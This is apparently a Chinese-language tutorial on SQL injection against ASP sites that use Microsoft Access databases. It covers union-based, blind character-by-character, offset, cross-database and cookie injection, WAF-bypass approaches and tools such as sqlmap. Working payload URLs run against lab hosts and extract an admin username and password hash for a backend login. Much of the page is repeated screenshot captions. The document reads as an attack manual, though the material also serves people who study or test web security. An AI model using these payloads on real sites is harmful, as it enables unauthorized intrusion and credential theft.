Access注入攻击方式

主要有:union 注入、http header 注入、偏移注入等

Access数据库特点

(access只有一个数据库)

Access数据库

  表名

    列名

      数据

 

直接暴力破解

access三大攻击手法

1.access注入攻击片段-联合查询法

2.access注入攻击片段-逐字猜解法

3.工具类的使用注入(推荐)

 

 该页面asp的sql语句

<%
    id=request("id")
    sql="select * from product where id="&id
    set rs=conn.execute(sql)
%>

 

1.access注入攻击片段-联合查询

优缺点

优点:快速

缺点:如果sql语句不常规,该方法无效

 步骤

判断注入
Order by 22 22 代表查询的列名的数目有22个
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 order by 22 正常(小于等于22均正常)
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 order by 23 错误

猜解表名 确定存在admin表名
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

猜解列名 猜解数据
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT
1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin

  

表名和列名猜解成功率不是百分百,猜解不到解决办法?

1.字典文件收集(社工)

2.Access偏移注入

 

工具猜解字典文件设置:

 

access注入 没有数据 access数据库sql注入_access注入 没有数据

2.access注入攻击片段-逐字猜解法

  //兼容性好,工具一般采用这种方法

查表:and exists (select * from 表名)

查列:and exists (select 列名 from 表名)

查数据:1.确定长度 2.确定asc数据(asc编码)

and (select top 1 len(列名) from admin)=5  //=换成<=5也成立,下同

and (select top 1 asc(mid(列名,位数,1)) from admin)=97

and (select top 1 asc(mid(列名,位数,1)) from admin)=97

  

啊D工具跑的时候界面下面能看到语句

Admin

Admin,password

Admin列名长度为5

Password 列名长度为16

 

access注入 没有数据 access数据库sql注入_数据库_02

拓展:

抓包分析注入工具核心注入语句

利用自己的编程技能实现山寨工具

 

 啊D判断注入点:

access注入 没有数据 access数据库sql注入_数据库_03

wsexplore监听啊D抓到的数据包:

GET /Production/PRODUCT_DETAIL.asp?id=1513%20%20and%20exists%20(select%20*%20from%20sysobjects) HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

Host: 127.0.0.1

Cookie: ASPSESSIONIDSATARCBS=JKKPGAIDNNFGACMCDEJGCMEC;

ASPSESSIONIDSCSCSABT=HALFGFIDEIPDGCDIIFJNAKPF

3.注入工具

啊D,明小子,穿山甲,萝卜头havij,sqlmap、、、、

工具功能性:

支持数据库类型,支持注入类型,注入突破类型,工具速度、、、、

 

偏移注入

表名知道,列名无法获取的注入

1.用“*”代替admin表的字段数,计算*代替字符的位数

正常页面

access注入 没有数据 access数据库sql注入_表名_04

 

 字段数

access注入 没有数据 access数据库sql注入_数据库_05

access注入 没有数据 access数据库sql注入_access注入 没有数据_06

 

 

access注入 没有数据 access数据库sql注入_表名_07

 

access注入 没有数据 access数据库sql注入_表名_08

 

 

access注入 没有数据 access数据库sql注入_表名_09

 

 爆数据

access注入 没有数据 access数据库sql注入_access注入 没有数据_10

access注入 没有数据 access数据库sql注入_表名_11

跨库注入

假设 a 和 b 两个站点在同一服务器上面,但服务器上面安装了安全狗、Waf 这样的安全软件,现在我们要对 a 站点进行攻击,但是没发现什么大漏洞,只找到网站数据库路径,对数据库下载发现下载不了。这个时候我发现 b 站点有注入点

access注入 没有数据 access数据库sql注入_access注入 没有数据_12

cookie注入

正常页面 http://192.168.232.133:86/shownews.asp?id=27

access注入 没有数据 access数据库sql注入_表名_13

 

access注入 没有数据 access数据库sql注入_表名_14

 

access注入 没有数据 access数据库sql注入_表名_15

access注入 没有数据 access数据库sql注入_access注入 没有数据_16

 

burp有的响应无法显示页面,只能看Raw,但最直接的是看Content-Length(错误页面数据量小)

 

注入判断

放到cookie中仍正常返回存在cookie注入

access注入 没有数据 access数据库sql注入_表名_17

 

页面和正常不一致说明

access注入 没有数据 access数据库sql注入_数据库_18

 

 

 猜字段数

access注入 没有数据 access数据库sql注入_字段_19

 

 字段数11

access注入 没有数据 access数据库sql注入_数据库_20

access注入 没有数据 access数据库sql注入_access注入 没有数据_21

 

 

 

 

 

 

注入绕过

大小写绕过

编码绕过

字符添加绕过

提交绕过

 

安全狗防护方面:

注入,上传,后门,控制,扫描,下载

注入:需研究 难度大

上传:需研究 难度大

后门:难度一般 有办法

控制:难度较大 有办法

扫描:表面 绕过 难度较大 复杂

下载:没办法

 

实战

注入判断

access注入 没有数据 access数据库sql注入_数据库_22

 

 

access注入 没有数据 access数据库sql注入_字段_23

 

 

access注入 没有数据 access数据库sql注入_数据库_24

 

猜表

access注入 没有数据 access数据库sql注入_表名_25

access注入 没有数据 access数据库sql注入_access注入 没有数据_26

 

猜列

access注入 没有数据 access数据库sql注入_access注入 没有数据_27

 

猜数据

access注入 没有数据 access数据库sql注入_access注入 没有数据_28

 

access注入 没有数据 access数据库sql注入_表名_29

access注入 没有数据 access数据库sql注入_access注入 没有数据_30

access注入 没有数据 access数据库sql注入_字段_31

 

 

access注入 没有数据 access数据库sql注入_表名_32

用同样的方法,可猜解 user_name 字段值和 password 值 

最终结果:

[user_name]: admin
[password]: 21232f297a57a5a743894a0e4a801fc3

access注入 没有数据 access数据库sql注入_字段_33

后台登录

后台地址可通过 踩点(信息收集) 获得

access注入 没有数据 access数据库sql注入_字段_34

 

小提示:
access 数据库都是存放在网站目录下,后缀格式为 mdb,asp,asa,可以通过一些暴库手段、目录猜解等直接下载数据库,
如果是 MSSQL、MYSQL 等,一般数据库是存储在数据库安装路径下,后缀格式为 myi,myd,frm,mdf 不能通过下载得到库。除非走狗屎运,对方管理员把网站库备份在网站目录下。
php+mysql数据库存储在数据库安装路径下,后缀格式 myi,myd,frm